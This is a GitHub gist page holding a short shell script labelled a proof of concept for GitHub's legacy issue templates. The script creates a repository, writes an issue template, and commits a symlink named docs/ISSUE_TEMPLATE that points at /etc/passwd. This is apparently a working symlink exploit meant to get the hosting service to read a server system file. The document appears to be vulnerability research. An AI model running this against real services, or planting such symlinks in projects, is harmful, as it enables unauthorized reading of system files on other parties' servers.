Skip to content

Instantly share code, notes, and snippets.

@irsl
Created September 4, 2023 12:31
Show Gist options
  • Save irsl/c1e1958eb0c171ac733e7ffed11b900c to your computer and use it in GitHub Desktop.
Save irsl/c1e1958eb0c171ac733e7ffed11b900c to your computer and use it in GitHub Desktop.
gh repo create legacy-template-poc --description "github issue template legacy poc"
gh repo clone legacy-template-poc
mkdir -p .github/ISSUE_TEMPLATE
cat >.github/ISSUE_TEMPLATE/custom.md <<'EOF'
---
name: DEPRECATED old issue template use a new one instead
about: Describe this issue template's purpose here.
title: default title
labels: ''
assignees: ''
---
template content
EOF
mkdir docs
ln -s /etc/passwd docs/ISSUE_TEMPLATE
git add .
git commit -m "first commit"
git push
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment